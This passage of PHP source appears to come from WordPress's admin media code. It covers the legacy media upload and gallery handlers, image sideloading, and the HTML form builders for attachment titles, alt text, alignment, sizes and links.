		 * @param array   $attachment An array of attachment metadata.
		 */
		$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );

if ( isset($attachment['image_alt']) ) {
			$image_alt = wp_unslash( $attachment['image_alt'] );
			if ( $image_alt != get_post_meta($attachment_id, '_wp_attachment_image_alt', true) ) {
				$image_alt = wp_strip_all_tags( $image_alt, true );
				// update_meta expects slashed
				update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
			}
		}

if ( isset($post['errors']) ) {
			$errors[$attachment_id] = $post['errors'];
			unset($post['errors']);
		}

if ( $post != $_post )
			wp_update_post($post);

foreach ( get_attachment_taxonomies($post) as $t ) {
			if ( isset($attachment[$t]) )
				wp_set_object_terms($attachment_id, array_map('trim', preg_split('/,+/', $attachment[$t])), $t, false);
		}
	}

if ( isset($_POST['insert-gallery']) || isset($_POST['update-gallery']) ) { ?>
		<script type="text/javascript">
		/* <![CDATA[ */
		var win = window.dialogArguments || opener || parent || top;
		win.tb_remove();
		/* ]]> */
		</script>
		<?php
		exit;
	}

if ( isset($send_id) ) {
		$attachment = wp_unslash( $_POST['attachments'][$send_id] );

$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
		if ( !empty($attachment['url']) ) {
			$rel = '';
			if ( strpos($attachment['url'], 'attachment_id') || get_attachment_link($send_id) == $attachment['url'] )
				$rel = " rel='attachment wp-att-" . esc_attr($send_id) . "'";
			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
		}

/**
		 * Filter the HTML markup for a media item sent to the editor.
		 *
		 * @since 2.5.0
		 *
		 * @see wp_get_attachment_metadata()
		 *
		 * @param string $html       HTML markup for a media item sent to the editor.
		 * @param int    $send_id    The first key from the $_POST['send'] data.
		 * @param array  $attachment Array of attachment metadata.
		 */
		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );
		return media_send_to_editor($html);
	}

return $errors;
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @return mixed
 */
function wp_media_upload_handler() {
	$errors = array();
	$id = 0;

if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
		check_admin_referer('media-form');
		// Upload File button was clicked
		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
		unset($_FILES);
		if ( is_wp_error($id) ) {
			$errors['upload_error'] = $id;
			$id = false;
		}
	}

if ( !empty($_POST['insertonlybutton']) ) {
		$src = $_POST['src'];
		if ( !empty($src) && !strpos($src, '://') )
			$src = "http://$src";

if ( isset( $_POST['media_type'] ) && 'image' != $_POST['media_type'] ) {
			$title = esc_html( wp_unslash( $_POST['title'] ) );
			if ( empty( $title ) )
				$title = esc_html( basename( $src ) );

if ( $title && $src )
				$html = "<a href='" . esc_url($src) . "'>$title</a>";

$type = 'file';
			if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
				&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
					$type = $ext_type;

/**
			 * Filter the URL sent to the editor for a specific media type.
			 *
			 * The dynamic portion of the hook name, $type, refers to the type
			 * of media being sent.
			 *
			 * @since 3.3.0
			 *
			 * @param string $html  HTML markup sent to the editor.
			 * @param string $src   Media source URL.
			 * @param string $title Media title.
			 */
			$html = apply_filters( $type . '_send_to_editor_url', $html, esc_url_raw( $src ), $title );
		} else {
			$align = '';
			$alt = esc_attr( wp_unslash( $_POST['alt'] ) );
			if ( isset($_POST['align']) ) {
				$align = esc_attr( wp_unslash( $_POST['align'] ) );
				$class = " class='align$align'";
			}
			if ( !empty($src) )
				$html = "<img src='" . esc_url($src) . "' alt='$alt'$class />";

/**
			 * Filter the image URL sent to the editor.
			 *
			 * @since 2.8.0
			 *
			 * @param string $html  HTML markup sent to the editor for an image.
			 * @param string $src   Image source URL.
			 * @param string $alt   Image alternate, or alt, text.
			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
			 */
			$html = apply_filters( 'image_send_to_editor_url', $html, esc_url_raw( $src ), $alt, $align );
		}

return media_send_to_editor($html);
	}

if ( !empty($_POST) ) {
		$return = media_upload_form_handler();

if ( is_string($return) )
			return $return;
		if ( is_array($return) )
			$errors = $return;
	}

if ( isset($_POST['save']) ) {
		$errors['upload_notice'] = __('Saved.');
		return media_upload_gallery();
	}

if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) {
		$type = 'image';
		if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ) ) )
			$type = $_GET['type'];
		return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
	}

return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
}

/**
 * Download an image from the specified URL and attach it to a post.
 *
 * @since 2.6.0
 *
 * @param string $file The URL of the image to download
 * @param int $post_id The post ID the media is to be associated with
 * @param string $desc Optional. Description of the image
 * @return string|WP_Error Populated HTML img tag on success
 */
function media_sideload_image($file, $post_id, $desc = null) {
	if ( ! empty($file) ) {
		// Download file to temp location
		$tmp = download_url( $file );

// Set variables for storage
		// fix file filename for query strings
		preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );
		$file_array['name'] = basename($matches[0]);
		$file_array['tmp_name'] = $tmp;

// If error storing temporarily, unlink
		if ( is_wp_error( $tmp ) ) {
			@unlink($file_array['tmp_name']);
			$file_array['tmp_name'] = '';
		}

// do the validation and storage stuff
		$id = media_handle_sideload( $file_array, $post_id, $desc );
		// If error storing permanently, unlink
		if ( is_wp_error($id) ) {
			@unlink($file_array['tmp_name']);
			return $id;
		}

$src = wp_get_attachment_url( $id );
	}

// Finally check to make sure the file has been saved, then return the html
	if ( ! empty($src) ) {
		$alt = isset($desc) ? esc_attr($desc) : '';
		$html = "<img src='$src' alt='$alt' />";
		return $html;
	}
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @return unknown
 */
function media_upload_gallery() {
	$errors = array();

if ( !empty($_POST) ) {
		$return = media_upload_form_handler();

if ( is_string($return) )
			return $return;
		if ( is_array($return) )
			$errors = $return;
	}

wp_enqueue_script('admin-gallery');
	return wp_iframe( 'media_upload_gallery_form', $errors );
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @return unknown
 */
function media_upload_library() {
	$errors = array();
	if ( !empty($_POST) ) {
		$return = media_upload_form_handler();

if ( is_string($return) )
			return $return;
		if ( is_array($return) )
			$errors = $return;
	}

return wp_iframe( 'media_upload_library_form', $errors );
}

/**
 * Retrieve HTML for the image alignment radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param object $post
 * @param string $checked
 * @return string
 */
function image_align_input_fields( $post, $checked = '' ) {

if ( empty($checked) )
		$checked = get_user_setting('align', 'none');

$alignments = array('none' => __('None'), 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right'));
	if ( !array_key_exists( (string) $checked, $alignments ) )
		$checked = 'none';

$out = array();
	foreach ( $alignments as $name => $label ) {
		$name = esc_attr($name);
		$out[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'".
			( $checked == $name ? " checked='checked'" : "" ) .
			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
	}
	return join("\n", $out);
}

/**
 * Retrieve HTML for the size radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param object $post
 * @param bool|string $check
 * @return array
 */
function image_size_input_fields( $post, $check = '' ) {

/**
	 * Filter the names and labels of the default image sizes.
	 *
	 * @since 3.3.0
	 *
	 * @param array $size_names Array of image sizes and their names. Default values
	 *                          include 'Thumbnail', 'Medium', 'Large', 'Full Size'.
	 */
	$size_names = apply_filters( 'image_size_names_choose', array(
		'thumbnail' => __( 'Thumbnail' ),
		'medium'    => __( 'Medium' ),
		'large'     => __( 'Large' ),
		'full'      => __( 'Full Size' )
	) );

if ( empty($check) )
			$check = get_user_setting('imgsize', 'medium');

foreach ( $size_names as $size => $label ) {
			$downsize = image_downsize($post->ID, $size);
			$checked = '';

// is this size selectable?
			$enabled = ( $downsize[3] || 'full' == $size );
			$css_id = "image-size-{$size}-{$post->ID}";
			// if this size is the default but that's not available, don't select it
			if ( $size == $check ) {
				if ( $enabled )
					$checked = " checked='checked'";
				else
					$check = '';
			} elseif ( !$check && $enabled && 'thumbnail' != $size ) {
				// if $check is not enabled, default to the first available size that's bigger than a thumbnail
				$check = $size;
				$checked = " checked='checked'";
			}

$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";

$html .= "<label for='{$css_id}'>$label</label>";
			// only show the dimensions if that choice is available
			if ( $enabled )
				$html .= " <label for='{$css_id}' class='help'>" . sprintf( "(%d&nbsp;&times;&nbsp;%d)", $downsize[1], $downsize[2] ). "</label>";

$html .= '</div>';

$out[] = $html;
		}

return array(
			'label' => __('Size'),
			'input' => 'html',
			'html'  => join("\n", $out),
		);
}

/**
 * Retrieve HTML for the Link URL buttons with the default link type as specified.
 *
 * @since 2.7.0
 *
 * @param object $post
 * @param string $url_type
 * @return string
 */
function image_link_input_fields($post, $url_type = '') {

$file = wp_get_attachment_url($post->ID);
	$link = get_attachment_link($post->ID);

if ( empty($url_type) )
		$url_type = get_user_setting('urlbutton', 'post');

$url = '';
	if ( $url_type == 'file' )
		$url = $file;
	elseif ( $url_type == 'post' )
		$url = $link;

return "
	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr($url) . "' /><br />
	<button type='button' class='button urlnone' data-link-url=''>" . __('None') . "</button>
	<button type='button' class='button urlfile' data-link-url='" . esc_attr($file) . "'>" . __('File URL') . "</button>
	<button type='button' class='button urlpost' data-link-url='" . esc_attr($link) . "'>" . __('Attachment Post URL') . "</button>
";
}

function wp_caption_input_textarea($edit_post) {
	// post data is already escaped
	$name = "attachments[{$edit_post->ID}][post_excerpt]";

return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param array $form_fields
 * @param object $post
 * @return array
 */
function image_attachment_fields_to_edit($form_fields, $post) {
	return $form_fields;
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param array $form_fields
 * @param object $post {@internal $post not used}}
 * @return array
 */
function media_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset($form_fields['url'], $form_fields['align'], $form_fields['image-size']);
	return $form_fields;
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.8.0
 *
 * @param array $form_fields
 * @param object $post {@internal $post not used}}
 * @return array
 */
function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset($form_fields['image_url']);
	return $form_fields;
}

/**
 * Filters input from media_upload_form_handler() and assigns a default
 * post_title from the file name if none supplied.
 *
 * Illustrates the use of the attachment_fields_to_save filter
 * which can be used to add default values to any field before saving to DB.
 *
 * @since 2.5.0
 *
 * @param object $post
 * @param array $attachment {@internal $attachment not used}}
 * @return array
 */
function image_attachment_fields_to_save( $post, $attachment ) {
	if ( substr( $post['post_mime_type'], 0, 5 ) == 'image' ) {
		if ( strlen( trim( $post['post_title'] ) ) == 0 ) {
			$attachment_url = ( isset( $post['attachment_url'] ) ) ? $post['attachment_url'] : $post['guid'];
			$post['post_title'] = preg_replace( '/\.\w+$/', '', wp_basename( $attachment_url ) );
			$post['errors']['post_title']['errors'][] = __( 'Empty Title filled from filename.' );
		}
	}

return $post;
}

add_filter( 'attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2 );

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param string $html
 * @param integer $attachment_id
 * @param array $attachment
 * @return array
 */
function image_media_send_to_editor($html, $attachment_id, $attachment) {
	$post = get_post($attachment_id);
	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
		$url = $attachment['url'];
		$align = !empty($attachment['align']) ? $attachment['align'] : 'none';
		$size = !empty($attachment['image-size']) ? $attachment['image-size'] : 'medium';
		$alt = !empty($attachment['image_alt']) ? $attachment['image_alt'] : '';
		$rel = ( $url == get_attachment_link($attachment_id) );

return get_image_send_to_editor($attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt);
	}

return $html;
}

add_filter('media_send_to_editor', 'image_media_send_to_editor', 10, 3);

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param object $post
 * @param array $errors
 * @return array
 */
function get_attachment_fields_to_edit($post, $errors = null) {
	if ( is_int($post) )
		$post = get_post($post);
	if ( is_array($post) )
		$post = new WP_Post( (object) $post );

$image_url = wp_get_attachment_url($post->ID);

$edit_post = sanitize_post($post, 'edit');

$form_fields = array(
		'post_title'   => array(
			'label'      => __('Title'),
			'value'      => $edit_post->post_title
		),
		'image_alt'   => array(),
		'post_excerpt' => array(
			'label'      => __('Caption'),
			'input'      => 'html',
			'html'       => wp_caption_input_textarea($edit_post)
		),
		'post_content' => array(
			'label'      => __('Description'),
			'value'      => $edit_post->post_content,
			'input'      => 'textarea'
		),
		'url'          => array(
			'label'      => __('Link URL'),
			'input'      => 'html',
			'html'       => image_link_input_fields($post, get_option('image_default_link_type')),
			'helps'      => __('Enter a link URL or click above for presets.')
		),
		'menu_order'   => array(
			'label'      => __('Order'),
			'value'      => $edit_post->menu_order
		),
		'image_url'	=> array(
			'label'      => __('File URL'),
			'input'      => 'html',
			'html'       => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr($image_url) . "' /><br />",
			'value'      => wp_get_attachment_url($post->ID),
			'helps'      => __('Location of the uploaded file.')
		)
	);

foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
		$t = (array) get_taxonomy($taxonomy);
		if ( ! $t['public'] || ! $t['show_ui'] )
			continue;
		if ( empty($t['label']) )
			$t['label'] = $taxonomy;
		if ( empty($t['args']) )
			$t['args'] = array();

$terms = get_object_term_cache($post->ID, $taxonomy);
		if ( false === $terms )
			$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);

$values = array();

foreach ( $terms as $term )
			$values[] = $term->slug;
		$t['value'] = join(', ', $values);

$form_fields[$taxonomy] = $t;
	}

// Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default
	// The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing )
	$form_fields = array_merge_recursive($form_fields, (array) $errors);

// This was formerly in image_attachment_fields_to_edit().
	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
		$alt = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
		if ( empty($alt) )
			$alt = '';

$form_fields['post_title']['required'] = true;

$form_fields['image_alt'] = array(
			'value' => $alt,
			'label' => __('Alternative Text'),
			'helps' => __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;')
		);

$form_fields['align'] = array(
			'label' => __('Alignment'),
			'input' => 'html',
			'html'  => image_align_input_fields($post, get_option('image_default_align')),
		);

$form_fields['image-size'] = image_size_input_fields( $post, get_option('image_default_size', 'medium') );

} else {
		unset( $form_fields['image_alt'] );
	}

/**
	 * Filter the attachment fields to edit.
	 *
	 * @since 2.5.0
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post        The WP_Post attachment object.
	 */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

return $form_fields;
}

/**
 * Retrieve HTML for media items of post gallery.
 *
 * The HTML markup retrieved will be created for the progress of SWF Upload
 * component. Will also create link for showing and hiding the form to modify
 * the image attachment.
 *
 * @since 2.5.0
 *
 * @param int $post_id Optional. Post ID.
 * @param array $errors Errors for attachment, if any.
 * @return string
 */
function get_media_items( $post_id, $errors ) {
	$attachments = array();
	if ( $post_id ) {
		$post = get_post($post_id);
		if ( $post && $post->post_type == 'attachment' )
			$attachments = array($post->ID => $post);
		else
			$attachments = get_children( array( 'post_parent' => $post_id, 'post_type' => 'attachment', 'orderby' => 'menu_order ASC, ID', 'order' => 'DESC') );
	} else {
		if ( is_array($GLOBALS['wp_the_query']->posts) )
			foreach ( $GLOBALS['wp_the_query']->posts as $attachment )
				$attachments[$attachment->ID] = $attachment;
	}

$output = '';
	foreach ( (array) $attachments as $id => $attachment ) {
		if ( $attachment->post_status == 'trash' )
			continue;
		if ( $item = get_media_item( $id, array( 'errors' => isset($errors[$id]) ? $errors[$id] : null) ) )
			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
	}

return $output;
}

/**
 * Retrieve HTML form for modifying the image attachment.
 *
 * @since 2.5.0
 *
 * @param int $attachment_id Attachment ID for modification.
 * @param string|array $args Optional. Override defaults.
 * @return string HTML form for attachment.
 */
function get_media_item( $attachment_id, $args = null ) {
	global $redir_tab;

if ( ( $attachment_id = intval( $attachment_id ) ) && $thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true ) )
		$thumb_url = $thumb_url[0];
	else
		$thumb_url = false;

$post = get_post( $attachment_id );
	$current_post_id = !empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;

$default_args = array( 'errors' => null, 'send' => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true, 'delete' => true, 'toggle' => true, 'show_title' => true );
	$args = wp_parse_args( $args, $default_args );

/**
	 * Filter the arguments used to retrieve an image for the edit image form.
	 *
	 * @since 3.1.0
	 *
	 * @see get_media_item
	 *
	 * @param array $args An array of arguments.
	 */
	$args = apply_filters( 'get_media_item_args', $args );
	extract( $args, EXTR_SKIP );

$toggle_on  = __( 'Show' );
	$toggle_off = __( 'Hide' );

$filename = esc_html( wp_basename( $post->guid ) );
	$title = esc_attr( $post->post_title );

if ( $_tags = get_the_tags( $attachment_id ) ) {
		foreach ( $_tags as $tag )
			$tags[] = $tag->name;
		$tags = esc_attr( join( ', ', $tags ) );
	}

$post_mime_types = get_post_mime_types();
	$keys = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
	$type = array_shift( $keys );
	$type_html = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";

$form_fields = get_attachment_fields_to_edit( $post, $errors );

if ( $toggle ) {
		$class = empty( $errors ) ? 'startclosed' : 'startopen';
		$toggle_links = "
	<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
	<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
	} else {
		$class = '';
		$toggle_links = '';
	}

$display_title = ( !empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case
	$display_title = $show_title ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . "</span></div>" : '';

$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' == $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' == $redir_tab ) );
	$order = '';

foreach ( $form_fields as $key => $val ) {
		if ( 'menu_order' == $key ) {
			if ( $gallery )
				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ). "' /></div>";
			else
				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";

unset( $form_fields['menu_order'] );
			break;
		}
	}

/**
	 * Filter the media metadata.
	 *
	 * @since 2.5.0
	 *
	 * @param string  $media_dims The HTML markup containing the media dimensions.
	 * @param WP_Post $post       The WP_Post attachment object.
	 */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

$image_edit_button = '';
	if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
		$nonce = wp_create_nonce( "image_editor-$post->ID" );
		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
	}

$attachment_url = get_permalink( $attachment_id );

$item = "
	$type_html
	$toggle_links
	$order
	$display_title
	<table class='slidetoggle describe $class'>
		<thead class='media-item-info' id='media-head-$post->ID'>
		<tr>
			<td class='A1B1' id='thumbnail-head-$post->ID'>
			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
			<p>$image_edit_button</p>
			</td>
			<td>
			<p><strong>" . __('File name:') . "</strong> $filename</p>
			<p><strong>" . __('File type:') . "</strong> $post->post_mime_type</p>
			<p><strong>" . __('Upload date:') . "</strong> " . mysql2date( get_option('date_format'), $post->post_date ). '</p>';
			if ( !empty( $media_dims ) )
				$item .= "<p><strong>" . __('Dimensions:') . "</strong> $media_dims</p>\n";

$item .= "</td></tr>\n";

$item .= "
		</thead>
		<tbody>
		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>
		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n";

$defaults = array(
		'input'      => 'text',
		'required'   => false,
		'value'      => '',
		'extra_rows' => array(),
	);

if ( $send )
		$send = get_submit_button( __( 'Insert into Post' ), 'button', "send[$attachment_id]", false );
	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
		if ( !EMPTY_TRASH_DAYS ) {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
		} elseif ( !MEDIA_TRASH ) {
			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
			 <div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'><p>" . sprintf( __( 'You are about to delete <strong>%s</strong>.' ), $filename ) . "</p>
			 <a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
			 <a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . "</a>
			 </div>";
		} else {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . "</a>";
		}
	} else {
		$delete = '';
	}

$thumbnail = '';
	$calling_post_id = 0;
	if ( isset( $_GET['post_id'] ) )
		$calling_post_id = absint( $_GET['post_id'] );
	elseif ( isset( $_POST ) && count( $_POST ) ) // Like for async-upload where $_GET['post_id'] isn't set
		$calling_post_id = $post->post_parent;
	if ( 'image' == $type && $calling_post_id && current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' ) && get_post_thumbnail_id( $calling_post_id ) != $attachment_id ) {
		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
		$thumbnail = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html__( "Use as featured image" ) . "</a>";
	}

if ( ( $send || $thumbnail || $delete ) && !isset( $form_fields['buttons'] ) )
		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>$send $thumbnail $delete</td></tr>\n" );

$hidden_fields = array();

foreach ( $form_fields as $id => $field ) {
		if ( $id[0] == '_' )
			continue;

if ( !empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

$field = array_merge( $defaults, $field );
		$name = "attachments[$attachment_id][$id]";

if ( $field['input'] == 'hidden' ) {
			$hidden_fields[$name] = $field['value'];
			continue;
		}

$required      = $field['required'] ? '<span class="alignright"><abbr title="required" class="required">*</abbr></span>' : '';
		$aria_required = $field['required'] ? " aria-required='true' " : '';
		$class  = $id;
		$class .= $field['required'] ? ' form-required' : '';

$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label></th>\n\t\t\t<td class='field'>";
		if ( !empty( $field[ $field['input'] ] ) )
			$item .= $field[ $field['input'] ];
		elseif ( $field['input'] == 'textarea' ) {
			if ( 'post_content' == $id && user_can_richedit() ) {
				// sanitize_post() skips the post_content when user_can_richedit
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			// post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit()
			$item .= "<textarea id='$name' name='$name' $aria_required>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "' $aria_required />";
		}
		if ( !empty( $field['helps'] ) )
			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		$item .= "</td>\n\t\t</tr>\n";

$extra_rows = array();

if ( !empty( $field['errors'] ) )
			foreach ( array_unique( (array) $field['errors'] ) as $error )
				$extra_rows['error'][] = $error;

if ( !empty( $field['extra_rows'] ) )
			foreach ( $field['extra_rows'] as $class => $rows )
				foreach ( (array) $rows as $html )
					$extra_rows[$class][] = $html;

foreach ( $extra_rows as $class => $rows )
			foreach ( $rows as $html )
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
	}

if ( !empty( $form_fields['_final'] ) )
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	$item .= "\t</tbody>\n";
	$item .= "\t</table>\n";

foreach ( $hidden_fields as $name => $value )
		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";

if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
		$parent = (int) $_REQUEST['post_id'];
		$parent_name = "attachments[$attachment_id][post_parent]";
		$item .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
	}

return $item;
}

function get_compat_media_markup( $attachment_id, $args = null ) {
	$post = get_post( $attachment_id );

$default_args = array(
		'errors' => null,
		'in_modal' => false,
	);

$user_can_edit = current_user_can( 'edit_post', $attachment_id );

$args = wp_parse_args( $args, $default_args );

/** This filter is documented in wp-admin/includes/media.php */
	$args = apply_filters( 'get_media_item_args', $args );

$form_fields = array();

if ( $args['in_modal'] ) {
		foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
			$t = (array) get_taxonomy($taxonomy);
			if ( ! $t['public'] || ! $t['show_ui'] )
				continue;
			if ( empty($t['label']) )
				$t['label'] = $taxonomy;
			if ( empty($t['args']) )
				$t['args'] = array();

$terms = get_object_term_cache($post->ID, $taxonomy);
			if ( false === $terms )
				$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);

$values = array();

foreach ( $terms as $term )
				$values[] = $term->slug;
			$t['value'] = join(', ', $values);
			$t['taxonomy'] = true;

$form_fields[$taxonomy] = $t;
		}
	}

/** This filter is documented in wp-admin/includes/media.php */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

unset( $form_fields['image-size'], $form_fields['align'], $form_fields['image_alt'],
		$form_fields['post_title'], $form_fields['post_excerpt'], $form_fields['post_content'],
		$form_fields['url'], $form_fields['menu_order'], $form_fields['image_url'] );

/** This filter is documented in wp-admin/includes/media.php */
	$media_meta = apply_filters( 'media_meta', '', $post );

$defaults = array(
		'input'         => 'text',
		'required'      => false,
		'value'         => '',
		'extra_rows'    => array(),
		'show_in_edit'  => true,
		'show_in_modal' => true,
	);

$hidden_fields = array();

$item = '';
	foreach ( $form_fields as $id => $field ) {
		if ( $id[0] == '_' )
			continue;

$name = "attachments[$attachment_id][$id]";
		$id_attr = "attachments-$attachment_id-$id";

if ( !empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

$field = array_merge( $defaults, $field );

if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) )
			continue;

if ( $field['input'] == 'hidden' ) {
			$hidden_fields[$name] = $field['value'];
			continue;
		}

$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
		$required      = $field['required'] ? '<span class="alignright"><abbr title="required" class="required">*</abbr></span>' : '';
		$aria_required = $field['required'] ? " aria-required='true' " : '';
		$class  = 'compat-field-' . $id;
		$class .= $field['required'] ? ' form-required' : '';

$item .= "\t\t<tr class='$class'>";
		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
		$item .= "</th>\n\t\t\t<td class='field'>";

if ( !empty( $field[ $field['input'] ] ) )
			$item .= $field[ $field['input'] ];
		elseif ( $field['input'] == 'textarea' ) {
			if ( 'post_content' == $id && user_can_richedit() ) {
				// sanitize_post() skips the post_content when user_can_richedit
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			$item .= "<textarea id='$id_attr' name='$name' $aria_required>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly $aria_required />";
		}
		if ( !empty( $field['helps'] ) )
